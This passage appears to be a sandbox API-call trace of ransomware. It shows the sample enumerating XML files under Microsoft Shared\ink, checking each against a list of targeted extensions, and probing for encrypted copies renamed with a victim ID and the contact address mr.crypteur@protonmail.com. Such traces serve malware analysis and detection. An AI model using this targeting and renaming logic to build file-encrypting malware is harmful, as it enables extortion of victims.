lstrlenW (lpString=".ppt") returned 4 [0215.249] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0215.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0215.249] lstrlenW (lpString=".zip") returned 4 [0215.251] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0215.251] lstrlenW (lpString=".rar") returned 4 [0215.251] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0215.251] lstrlenW (lpString=".bz2") returned 4 [0215.251] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0215.251] lstrlenW (lpString=".7z") returned 3 [0215.251] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0215.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0215.251] lstrlenW (lpString=".dbf") returned 4 [0215.251] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0215.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0215.252] lstrlenW (lpString=".1cd") returned 4 [0215.252] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0215.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0215.252] lstrlenW (lpString=".jpg") returned 4 [0215.252] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0215.252] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0215.253] lstrlenW (lpString="base_ca.xml") returned 11 [0215.253] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0217.600] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=3166) returned 1 [0217.600] CloseHandle (hObject=0x318) returned 1 [0217.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0x20 [0217.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0217.601] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0217.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0217.601] lstrlenW (lpString=".doc") returned 4 [0217.601] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0217.602] lstrlenW (lpString=".docx") returned 5 [0217.602] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0217.602] lstrlenW (lpString=".pdf") returned 4 [0217.602] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0217.602] lstrlenW (lpString=".xls") returned 4 [0217.602] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0217.602] lstrlenW (lpString=".xlsx") returned 5 [0217.602] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0217.602] lstrlenW (lpString=".ppt") returned 4 [0217.602] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0217.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0217.602] lstrlenW (lpString=".zip") returned 4 [0217.602] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0217.603] lstrlenW (lpString=".rar") returned 4 [0217.603] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0217.603] lstrlenW (lpString=".bz2") returned 4 [0217.603] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0217.603] lstrlenW (lpString=".7z") returned 3 [0217.603] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0217.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0217.603] lstrlenW (lpString=".dbf") returned 4 [0217.603] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0217.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0217.604] lstrlenW (lpString=".1cd") returned 4 [0217.604] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0217.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0217.604] lstrlenW (lpString=".jpg") returned 4 [0217.604] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0217.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0217.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0217.605] lstrlenW (lpString=".doc") returned 4 [0217.605] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0217.605] lstrlenW (lpString=".docx") returned 5 [0217.605] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0217.605] lstrlenW (lpString=".pdf") returned 4 [0217.605] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0217.605] lstrlenW (lpString=".xls") returned 4 [0217.606] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0217.606] lstrlenW (lpString=".xlsx") returned 5 [0217.606] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0217.606] lstrlenW (lpString=".ppt") returned 4 [0217.606] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0217.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0217.606] lstrlenW (lpString=".zip") returned 4 [0217.606] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0217.606] lstrlenW (lpString=".rar") returned 4 [0217.607] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0217.607] lstrlenW (lpString=".bz2") returned 4 [0217.607] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0217.608] lstrlenW (lpString=".7z") returned 3 [0217.608] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0217.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0217.608] lstrlenW (lpString=".dbf") returned 4 [0217.608] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0217.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0217.609] lstrlenW (lpString=".1cd") returned 4 [0217.609] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0217.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0217.609] lstrlenW (lpString=".jpg") returned 4 [0217.609] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0217.609] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0217.610] lstrlenW (lpString="base_rtl.xml") returned 12 [0217.610] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0217.610] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=617) returned 1 [0217.610] CloseHandle (hObject=0x318) returned 1 [0217.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml")) returned 0x20 [0217.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0217.611] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0217.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0217.611] lstrlenW (lpString=".doc") returned 4 [0217.611] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0217.612] lstrlenW (lpString=".docx") returned 5 [0217.612] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0217.612] lstrlenW (lpString=".pdf") returned 4 [0217.612] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0217.612] lstrlenW (lpString=".xls") returned 4 [0217.612] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0217.612] lstrlenW (lpString=".xlsx") returned 5 [0217.612] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0217.612] lstrlenW (lpString=".ppt") returned 4 [0217.612] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0217.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0217.613] lstrlenW (lpString=".zip") returned 4 [0217.613] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0217.613] lstrlenW (lpString=".rar") returned 4 [0217.613] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0217.613] lstrlenW (lpString=".bz2") returned 4 [0217.613] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0217.613] lstrlenW (lpString=".7z") returned 3 [0217.613] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0217.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0217.613] lstrlenW (lpString=".dbf") returned 4 [0217.613] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0217.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0217.613] lstrlenW (lpString=".1cd") returned 4 [0217.614] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0217.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0217.614] lstrlenW (lpString=".jpg") returned 4 [0217.614] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0217.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0217.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0217.614] lstrlenW (lpString=".doc") returned 4 [0217.614] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0217.614] lstrlenW (lpString=".docx") returned 5 [0217.614] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0217.614] lstrlenW (lpString=".pdf") returned 4 [0217.615] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0217.615] lstrlenW (lpString=".xls") returned 4 [0217.615] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0217.615] lstrlenW (lpString=".xlsx") returned 5 [0217.615] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0217.615] lstrlenW (lpString=".ppt") returned 4 [0217.615] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0217.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0217.616] lstrlenW (lpString=".zip") returned 4 [0217.616] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0217.616] lstrlenW (lpString=".rar") returned 4 [0217.616] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0217.616] lstrlenW (lpString=".bz2") returned 4 [0217.616] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0217.616] lstrlenW (lpString=".7z") returned 3 [0217.616] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0217.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0217.616] lstrlenW (lpString=".dbf") returned 4 [0217.619] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0217.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0217.619] lstrlenW (lpString=".1cd") returned 4 [0217.619] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0217.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0217.619] lstrlenW (lpString=".jpg") returned 4 [0217.619] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0217.620] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0217.620] lstrlenW (lpString="ja-jp.xml") returned 9 [0217.620] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0219.902] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=16616) returned 1 [0219.902] CloseHandle (hObject=0x380) returned 1 [0219.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml")) returned 0x20 [0219.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0219.902] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0219.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0219.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0219.903] lstrlenW (lpString=".doc") returned 4 [0219.903] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0219.903] lstrlenW (lpString=".docx") returned 5 [0219.903] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0219.903] lstrlenW (lpString=".pdf") returned 4 [0219.903] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0219.903] lstrlenW (lpString=".xls") returned 4 [0219.903] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0219.903] lstrlenW (lpString=".xlsx") returned 5 [0219.903] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0219.903] lstrlenW (lpString=".ppt") returned 4 [0219.903] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0219.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0219.904] lstrlenW (lpString=".zip") returned 4 [0219.904] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0219.904] lstrlenW (lpString=".rar") returned 4 [0219.904] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0219.904] lstrlenW (lpString=".bz2") returned 4 [0219.904] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0219.904] lstrlenW (lpString=".7z") returned 3 [0219.904] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0219.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0219.904] lstrlenW (lpString=".dbf") returned 4 [0219.904] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0219.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0219.904] lstrlenW (lpString=".1cd") returned 4 [0219.905] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0219.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0219.905] lstrlenW (lpString=".jpg") returned 4 [0219.905] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0219.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0219.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0219.905] lstrlenW (lpString=".doc") returned 4 [0219.905] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0219.905] lstrlenW (lpString=".docx") returned 5 [0219.905] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0219.906] lstrlenW (lpString=".pdf") returned 4 [0219.906] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0219.906] lstrlenW (lpString=".xls") returned 4 [0219.906] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0219.906] lstrlenW (lpString=".xlsx") returned 5 [0219.906] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0219.906] lstrlenW (lpString=".ppt") returned 4 [0219.906] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0219.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0219.906] lstrlenW (lpString=".zip") returned 4 [0219.906] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0219.906] lstrlenW (lpString=".rar") returned 4 [0219.906] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0219.907] lstrlenW (lpString=".bz2") returned 4 [0219.907] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0219.907] lstrlenW (lpString=".7z") returned 3 [0219.907] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0219.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0219.907] lstrlenW (lpString=".dbf") returned 4 [0219.907] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0219.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0219.907] lstrlenW (lpString=".1cd") returned 4 [0219.908] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0219.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0219.908] lstrlenW (lpString=".jpg") returned 4 [0219.908] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0219.908] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0219.908] lstrlenW (lpString="ipscht.xml") returned 10 [0219.908] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0222.508] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=2436) returned 1 [0222.508] CloseHandle (hObject=0x320) returned 1 [0222.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml")) returned 0x20 [0222.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0222.509] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0222.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0222.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0222.509] lstrlenW (lpString=".doc") returned 4 [0222.509] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0222.509] lstrlenW (lpString=".docx") returned 5 [0222.509] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0222.509] lstrlenW (lpString=".pdf") returned 4 [0222.509] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0222.509] lstrlenW (lpString=".xls") returned 4 [0222.509] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0222.509] lstrlenW (lpString=".xlsx") returned 5 [0222.510] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0222.510] lstrlenW (lpString=".ppt") returned 4 [0222.510] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0222.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0222.510] lstrlenW (lpString=".zip") returned 4 [0222.510] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0222.510] lstrlenW (lpString=".rar") returned 4 [0222.510] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0222.510] lstrlenW (lpString=".bz2") returned 4 [0222.510] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0222.510] lstrlenW (lpString=".7z") returned 3 [0222.510] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0222.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0222.510] lstrlenW (lpString=".dbf") returned 4 [0222.510] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0222.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0222.511] lstrlenW (lpString=".1cd") returned 4 [0222.511] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0222.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0222.511] lstrlenW (lpString=".jpg") returned 4 [0222.511] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0222.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0222.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0222.511] lstrlenW (lpString=".doc") returned 4 [0222.511] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0222.511] lstrlenW (lpString=".docx") returned 5 [0222.511] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0222.511] lstrlenW (lpString=".pdf") returned 4 [0222.511] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0222.512] lstrlenW (lpString=".xls") returned 4 [0222.512] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0222.512] lstrlenW (lpString=".xlsx") returned 5 [0222.512] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0222.512] lstrlenW (lpString=".ppt") returned 4 [0222.512] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0222.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0222.513] lstrlenW (lpString=".zip") returned 4 [0222.513] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0222.513] lstrlenW (lpString=".rar") returned 4 [0222.513] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0222.513] lstrlenW (lpString=".bz2") returned 4 [0222.513] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0222.513] lstrlenW (lpString=".7z") returned 3 [0222.514] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0222.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0222.514] lstrlenW (lpString=".dbf") returned 4 [0222.514] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0222.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0222.514] lstrlenW (lpString=".1cd") returned 4 [0222.514] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0222.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0222.514] lstrlenW (lpString=".jpg") returned 4 [0222.514] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0222.629] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0222.629] lstrlenW (lpString="ipshrv.xml") returned 10 [0222.629] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0224.015] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=2652) returned 1 [0224.015] CloseHandle (hObject=0x37c) returned 1 [0224.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml")) returned 0x20 [0224.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 